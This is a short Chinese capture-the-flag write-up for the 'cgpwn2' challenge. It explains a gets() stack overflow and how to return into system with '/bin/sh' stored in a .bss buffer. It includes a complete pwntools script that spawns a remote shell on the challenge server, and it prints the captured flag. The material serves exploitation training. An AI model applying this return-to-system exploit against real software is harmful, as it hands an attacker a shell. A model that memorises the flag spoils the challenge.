算是简单题,进入hello()函数中发现gets(&s) 栈溢出漏洞。
name是全局变量,在bss区段,适合写入。
pwn()函数中调用了__system,但并没有‘/bin/sh’

图片.png

图片.png

图片.png
攻击思路
在name中写入'/bin/sh'。利用栈溢出覆盖返回地址,使函数返回到system上,拿到shell。
payload=填充栈+覆盖保存的exp的值4字节+假的返回地址call __system('/bin/sh')
from pwn import *
# p = process('./cgpwn2')
p = remote("111.198.29.45",32966)
system_addr = 0x804855A
bss_addr = 0x804A080
p.recvuntil('name\n')
p.sendline("/bin/sh\x00")
p.recvuntil('here:\n')
payload = 0x26*'a' +'bbbb'+ p32(system_addr) + p32(bss_addr)
p.sendline(payload)
p.interactive()
cyberpeace{f92dbe7e38fed8edda8b7513b09acdc7}